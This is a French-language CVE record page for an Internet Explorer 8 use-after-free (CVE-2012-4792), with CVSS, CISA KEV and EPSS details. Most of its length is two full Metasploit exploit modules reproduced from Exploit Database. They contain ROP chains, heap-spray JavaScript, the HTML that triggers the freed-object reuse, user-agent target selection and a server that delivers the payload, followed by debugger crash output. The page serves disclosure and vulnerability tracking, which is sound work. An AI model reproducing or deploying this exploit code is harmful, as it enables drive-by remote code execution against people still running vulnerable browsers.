Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-416 |
Use After Free The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer. |
|
Metrics
Metric |
Score |
Sévérité |
CVSS Vecteur |
Source |
V3.1 |
8.8 |
HIGH |
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack VectorThis metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack ComplexityThis metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges RequiredThis metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User InteractionThis metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. ScopeFormally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality ImpactThis metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity ImpactThis metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability ImpactThis metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
[email protected] |
V2 |
9.3 |
|
AV:N/AC:M/Au:N/C:C/I:C/A:C |
[email protected] |
CISA KEV (Vulnérabilités Exploitées Connues)
Nom de la vulnérabilité : Microsoft Internet Explorer Use-After-Free Vulnerability
Action requise : The impacted product is end-of-life and should be disconnected if still in use.
Connu pour être utilisé dans des campagnes de ransomware : Unknown
Ajouter le : 2024-07-22 22:00 +00:00
Action attendue : 2024-08-12 22:00 +00:00
Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
EPSS Score
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
EPSS Percentile
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 23785
Date de publication : 2013-01-01 23:00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "8.0",
:ua_maxver => "8.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:rank => GoodRanking
})
def initialize(info={})
super(update_info(info,
'Name' => "Microsoft Internet Explorer CButton Object Use-After-Free Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in Microsoft Internet Explorer. A
use-after-free condition occurs when a CButton object is freed, but a reference
is kept and used again during a page reload, an invalid memory that's controllable
is used, and allows arbitrary code execution under the context of the user.
Please note: This vulnerability has been exploited in the wild targeting
mainly China/Taiwan/and US-based computers.
},
'License' => MSF_LICENSE,
'Author' =>
[
'eromang',
'mahmud ab rahman',
'juan vazquez', #Metasploit
'sinn3r', #Metasploit
'Peter Vreugdenhil' #New trigger & new exploit technique
],
'References' =>
[
[ 'CVE', '2012-4792' ],
[ 'US-CERT-VU', '154201' ],
[ 'BID', '57070' ],
[ 'URL', 'http://blog.fireeye.com/research/2012/12/council-foreign-relations-water-hole-attack-details.html'],
[ 'URL', 'http://eromang.zataz.com/2012/12/29/attack-and-ie-0day-informations-used-against-council-on-foreign-relations/'],
[ 'URL', 'http://blog.vulnhunt.com/index.php/2012/12/29/new-ie-0day-coming-mshtmlcdwnbindinfo-object-use-after-free-vulnerability/' ],
[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2794220' ],
[ 'URL', 'http://blogs.technet.com/b/srd/archive/2012/12/29/new-vulnerability-affecting-internet-explorer-8-users.aspx' ],
[ 'URL', 'http://blog.exodusintel.com/2013/01/02/happy-new-year-analysis-of-cve-2012-4792/' ],
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/12/29/microsoft-internet-explorer-0-day-marks-the-end-of-2012' ]
],
'Payload' =>
{
'BadChars' => "\x00",
'Space' => 1024,
'DisableNops' => true
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt } ],
[ 'IE 8 on Windows Vista', { 'Rop' => :jre } ],
[ 'IE 8 on Windows Server 2003', { 'Rop' => :msvcrt } ],
[ 'IE 8 on Windows 7', { 'Rop' => :jre } ]
],
'Privileged' => false,
'DisclosureDate' => "Dec 27 2012",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
ie_name = "IE #{ie}"
case nt
when '5.1'
os_name = 'Windows XP SP3'
when '5.2'
os_name = 'Windows Server 2003'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
else
# OS not supported
return nil
end
targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end
return nil
end
def ie8_smil(my_target, p)
case my_target['Rop']
when :msvcrt
case my_target.name
when 'IE 8 on Windows XP SP3'
align_esp = Rex::Text.to_unescape([0x77c4d801].pack("V*")) # ADD ESP, 2C; RET
xchg_esp = Rex::Text.to_unescape([0x77c15ed5].pack("V*")) # XCHG EAX, ESP, RET
when 'IE 8 on Windows Server 2003'
align_esp = Rex::Text.to_unescape([0x77bde7f6].pack("V*"))
xchg_esp = Rex::Text.to_unescape([0x77bcba5e].pack("V*"))
end
else
align_esp = Rex::Text.to_unescape([0x7C3445F8].pack("V*"))
xchg_esp = Rex::Text.to_unescape([0x7C348B05].pack("V*"))
end
padding = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4))
js_payload = Rex::Text.to_unescape(p)
js = %Q|
unicorn = unescape("#{padding}");
for (i=0; i < 3; i++) {
unicorn += unescape("#{padding}");
}
unicorn += unescape("#{js_payload}");
animvalues = unescape("#{align_esp}");
for (i=0; i < 0xDC/4; i++) {
if (i == 0xDC/4-1) {
animvalues += unescape("#{xchg_esp}");
}
else {
animvalues += unescape("#{align_esp}");
}
}
animvalues += unicorn;
for(i = 0; i < 21; i++) {
animvalues += ";cyan";
}
|
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end
return js
end
def junk(n=4)
return rand_text_alpha(n).unpack("V")[0].to_i
end
def nop
return make_nops(4).unpack("V")[0].to_i
end
def get_payload(t, cli)
code = payload.encoded
# No rop. Just return the payload.
return code if t['Rop'].nil?
case t['Rop']
when :msvcrt
case t.name
when 'IE 8 on Windows XP SP3'
rop_gadgets =
[
0x77c1e844, # POP EBP # RETN [msvcrt.dll]
0x77c1e844, # skip 4 bytes [msvcrt.dll]
0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]
0xffffffff,
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
0x77c3048a, # POP EDI # RETN [msvcrt.dll]
0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
0x77c46efb, # POP ESI # RETN [msvcrt.dll]
0x77c2aacc, # JMP [EAX] [msvcrt.dll]
0x77c3b860, # POP EAX # RETN [msvcrt.dll]
0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll]
].pack("V*")
when 'IE 8 on Windows Server 2003'
rop_gadgets =
[
0x77bb2563, # POP EAX # RETN
0x77ba1114, # <- *&VirtualProtect()
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
junk,
0x77bb0c86, # XCHG EAX,ESI # RETN
0x77bc9801, # POP EBP # RETN
0x77be2265, # ptr to 'push esp # ret'
0x77bb2563, # POP EAX # RETN
0x03C0990F,
0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)
0x77bb48d3, # POP EBX, RET
0x77bf21e0, # .data
0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
0x77bbfc02, # POP ECX # RETN
0x77bef001, # W pointer (lpOldProtect) (-> ecx)
0x77bd8c04, # POP EDI # RETN
0x77bd8c05, # ROP NOP (-> edi)
0x77bb2563, # POP EAX # RETN
0x03c0984f,
0x77bdd441, # SUB EAX, 03c0940f
0x77bb8285, # XCHG EAX,EDX # RETN
0x77bb2563, # POP EAX # RETN
nop,
0x77be6591 # PUSHAD # ADD AL,0EF # RETN
].pack("V*")
end
else
rop_gadgets =
[
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)
0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
0x7c3415a2, # JMP [EAX] [msvcr71.dll]
0xffffffff,
0x7c376402, # skip 4 bytes [msvcr71.dll]
0x7c351e05, # NEG EAX # RETN [msvcr71.dll]
0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
0x7c344f87, # POP EDX # RETN [msvcr71.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]
0x7c34d201, # POP ECX # RETN [msvcr71.dll]
0x7c38b001, # &Writable location [msvcr71.dll]
0x7c347f97, # POP EAX # RETN [msvcr71.dll]
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
0x7c345c30 # ptr to 'push esp # ret ' [msvcr71.dll]
# rop chain generated with mona.py
].pack("V*")
end
rop_payload = rop_gadgets
case t['Rop']
when :msvcrt
rop_payload << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
else
rop_payload << "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000
end
rop_payload << code
rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt
return rop_payload
end
def load_exploit_html(my_target, cli)
p = get_payload(my_target, cli)
js = ie8_smil(my_target, p)
html = %Q|
<!doctype html>
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
<head>
<meta>
<?IMPORT namespace="t" implementation="#default#time2">
</meta>
<script>
function helloWorld()
{
e_form = document.getElementById("formelm");
e_div = document.getElementById("divelm");
#{js}
for(i =0; i < 20; i++) {
document.createElement('button');
}
e_div.appendChild(document.createElement('button'))
e_div.firstChild.applyElement(e_form);
e_div.innerHTML = ""
e_div.appendChild(document.createElement('body'));
CollectGarbage();
try {
a = document.getElementById('myanim');
a.values = animvalues;
}
catch(e) {}
}
</script>
</head>
<body onload="eval(helloWorld())">
<t:ANIMATECOLOR id="myanim"/>
<div id="divelm"></div>
<form id="formelm">
</form>
</body>
</html>
|
return html
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")
my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
html = load_exploit_html(my_target, cli)
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end
=begin
(87c.f40): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=12120d0c ebx=0023c218 ecx=00000052 edx=00000000 esi=00000000 edi=0301e400
eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
mshtml!CMarkup::OnLoadStatusDone+0x504:
637848c3 ff90dc000000 call dword ptr <Unloaded_Ed20.dll>+0xdb (000000dc)[eax] ds:0023:12120de8=????????
0:008> k
ChildEBP RetAddr
020bf8a4 635c378b mshtml!CMarkup::OnLoadStatusDone+0x504
020bf8c4 635c3e16 mshtml!CMarkup::OnLoadStatus+0x47
020bfd10 636553f8 mshtml!CProgSink::DoUpdate+0x52f
020bfd24 6364de62 mshtml!CProgSink::OnMethodCall+0x12
020bfd58 6363c3c5 mshtml!GlobalWndOnMethodCall+0xfb
020bfd78 7e418734 mshtml!GlobalWndProc+0x183
020bfda4 7e418816 USER32!InternalCallWinProc+0x28
020bfe0c 7e4189cd USER32!UserCallWinProcCheckWow+0x150
020bfe6c 7e418a10 USER32!DispatchMessageWorker+0x306
020bfe7c 01252ec9 USER32!DispatchMessageW+0xf
020bfeec 011f48bf IEFRAME!CTabWindow::_TabWindowThreadProc+0x461
020bffa4 5de05a60 IEFRAME!LCIETab_ThreadProc+0x2c1
020bffb4 7c80b713 iertutil!CIsoScope::RegisterThread+0xab
020bffec 00000000 kernel32!BaseThreadStart+0x37
0:008> r
eax=0c0c0c0c ebx=0023c1d0 ecx=00000052 edx=00000000 esi=00000000 edi=033e9120
eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x504:
637848c3 ff90dc000000 call dword ptr [eax+0DCh] ds:0023:0c0c0ce8=????????
=end
Exploit Database EDB-ID : 23754
Date de publication : 2012-12-30 23:00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
def initialize(info={})
super(update_info(info,
'Name' => "Microsoft Internet Explorer CDwnBindInfo Object Use-After-Free Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in Microsoft Internet Explorer. A
use-after-free condition occurs when a CDwnBindInfo object is freed by
FollowHyperlink2, but a reference is kept in CDoc. As a result, when the reference
is used again during a page reload, an invalid memory that's controllable is used,
and allows arbitrary code execution under the context of the user.
Please note: This vulnerability has been exploited in the wild targeting
mainly China/Taiwan/and US-based computers.
},
'License' => MSF_LICENSE,
'Author' =>
[
'eromang',
'mahmud ab rahman',
'sinn3r' #Metasploit
],
'References' =>
[
[ 'CVE', '2012-4792' ],
[ 'US-CERT-VU', '154201' ],
[ 'URL', 'http://blog.fireeye.com/research/2012/12/council-foreign-relations-water-hole-attack-details.html'],
[ 'URL', 'http://eromang.zataz.com/2012/12/29/attack-and-ie-0day-informations-used-against-council-on-foreign-relations/'],
[ 'URL', 'http://blog.vulnhunt.com/index.php/2012/12/29/new-ie-0day-coming-mshtmlcdwnbindinfo-object-use-after-free-vulnerability/' ],
[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2794220' ]
],
'Payload' =>
{
'Space' => 980,
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x586' } ], # 0x0c0c0b30
[ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x586' } ], # 0x0c0c0b30
[ 'IE 8 on Windows Server 2003', { 'Rop' => :msvcrt, 'Offset' => '0x586' } ], # 0x0c0c0b30
[ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x586' } ] # 0x0c0c0b30
],
'Privileged' => false,
'DisclosureDate' => "Dec 27 2012",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
ie_name = "IE #{ie}"
case nt
when '5.1'
os_name = 'Windows XP SP3'
when '5.2'
os_name = 'Windows Server 2003'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
else
# OS not supported
return nil
end
targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end
return nil
end
def ie_heap_spray(my_target, p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
# Land the payload at 0x0c0c0b30
js = %Q|
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
var overflow = nops.substring(0, 10);
|
js = heaplib(js, {:noobfu => true})
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end
return js
end
def get_payload(t, cli)
code = payload.encoded
# No rop. Just return the payload.
return code if t['Rop'].nil?
=begin
Stack Pivoting to eax:
0:008> db eax
0c0c0b30 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
0c0c0b40 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
=end
# Both ROP chains generated by mona.py - See corelan.be
case t['Rop']
when :msvcrt
print_status("Using msvcrt ROP")
if t['Name'] =~ /Windows XP/
stack_pivot = [0x77c15ed6].pack("V") * 54 # ret
stack_pivot << [0x77c2362c].pack("V") # pop ebx, #ret
stack_pivot << [0x77c15ed5].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c
rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})
else
stack_pivot = [0x77bcba5f].pack("V") * 54 # ret
stack_pivot << [0x77bb4158].pack("V") # pop ebx, #ret
stack_pivot << [0x77bcba5e].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c
rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'2003'})
end
else
print_status("Using JRE ROP")
stack_pivot = [0x7c348b06].pack("V") * 54 # ret
stack_pivot << [0x7c341748].pack("V") # pop ebx, #ret
stack_pivot << [0x7c348b05].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c
rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
end
return rop_payload
end
def load_exploit_html(my_target, cli)
p = get_payload(my_target, cli)
js = ie_heap_spray(my_target, p)
html = %Q|
<!doctype html>
<html>
<head>
<script>
#{js}
function exploit()
{
var e0 = null;
var e1 = null;
var e2 = null;
var arrObject = new Array(3000);
var elmObject = new Array(500);
for (var i = 0; i < arrObject.length; i++)
{
arrObject[i] = document.createElement('div');
arrObject[i].className = unescape("ababababababababababababababababababababa");
}
for (var i = 0; i < arrObject.length; i += 2)
{
arrObject[i].className = null;
}
CollectGarbage();
for (var i = 0; i < elmObject.length; i ++)
{
elmObject[i] = document.createElement('button');
}
for (var i = 1; i < arrObject.length; i += 2)
{
arrObject[i].className = null;
}
CollectGarbage();
try {
e0 = document.getElementById("a");
e1 = document.getElementById("b");
e2 = document.createElement("q");
e1.applyElement(e2);
e1.appendChild(document.createElement('button'));
e1.applyElement(e0);
e2.outerText = "";
e2.appendChild(document.createElement('body'));
} catch(e) { }
CollectGarbage();
for(var i =0; i < 20; i++)
{
arrObject[i].className = unescape("ababababababababababababababababababababa");
}
var eip = window;
var data = "https://www.google.com/settings/account";
eip.location = unescape("%u0b30%u0c0c" + data);
}
</script>
</head>
<body onload="eval(exploit())">
<form id="a">
</form>
<dfn id="b">
</dfn>
</body>
</html>
|
return html
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")
my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
html = load_exploit_html(my_target, cli)
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end
=begin
(87c.f40): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=12120d0c ebx=0023c218 ecx=00000052 edx=00000000 esi=00000000 edi=0301e400
eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
mshtml!CMarkup::OnLoadStatusDone+0x504:
637848c3 ff90dc000000 call dword ptr <Unloaded_Ed20.dll>+0xdb (000000dc)[eax] ds:0023:12120de8=????????
0:008> k
ChildEBP RetAddr
020bf8a4 635c378b mshtml!CMarkup::OnLoadStatusDone+0x504
020bf8c4 635c3e16 mshtml!CMarkup::OnLoadStatus+0x47
020bfd10 636553f8 mshtml!CProgSink::DoUpdate+0x52f
020bfd24 6364de62 mshtml!CProgSink::OnMethodCall+0x12
020bfd58 6363c3c5 mshtml!GlobalWndOnMethodCall+0xfb
020bfd78 7e418734 mshtml!GlobalWndProc+0x183
020bfda4 7e418816 USER32!InternalCallWinProc+0x28
020bfe0c 7e4189cd USER32!UserCallWinProcCheckWow+0x150
020bfe6c 7e418a10 USER32!DispatchMessageWorker+0x306
020bfe7c 01252ec9 USER32!DispatchMessageW+0xf
020bfeec 011f48bf IEFRAME!CTabWindow::_TabWindowThreadProc+0x461
020bffa4 5de05a60 IEFRAME!LCIETab_ThreadProc+0x2c1
020bffb4 7c80b713 iertutil!CIsoScope::RegisterThread+0xab
020bffec 00000000 kernel32!BaseThreadStart+0x37
0:008> r
eax=0c0c0c0c ebx=0023c1d0 ecx=00000052 edx=00000000 esi=00000000 edi=033e9120
eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x504:
637848c3 ff90dc000000 call dword ptr [eax+0DCh] ds:0023:0c0c0ce8=????????
=end
Products Mentioned
Configuraton 0
Microsoft>>Internet_explorer >> Version 6
Microsoft>>Windows_server_2003 >> Version *
Microsoft>>Windows_xp >> Version *
Microsoft>>Windows_xp >> Version -
Configuraton 0
Microsoft>>Internet_explorer >> Version 7
Microsoft>>Windows_server_2003 >> Version *
Microsoft>>Windows_server_2008 >> Version *
Microsoft>>Windows_server_2008 >> Version *
Microsoft>>Windows_server_2008 >> Version -
Microsoft>>Windows_vista >> Version *
Microsoft>>Windows_vista >> Version -
Microsoft>>Windows_xp >> Version *
Microsoft>>Windows_xp >> Version -
Configuraton 0
Microsoft>>Internet_explorer >> Version 8
Microsoft>>Windows_7 >> Version -
Microsoft>>Windows_7 >> Version -
Microsoft>>Windows_7 >> Version -
Microsoft>>Windows_server_2003 >> Version *
Microsoft>>Windows_server_2008 >> Version *
Microsoft>>Windows_server_2008 >> Version *
Microsoft>>Windows_server_2008 >> Version -
Microsoft>>Windows_server_2008 >> Version -
Microsoft>>Windows_vista >> Version *
Microsoft>>Windows_vista >> Version -
Microsoft>>Windows_xp >> Version *
Microsoft>>Windows_xp >> Version -
References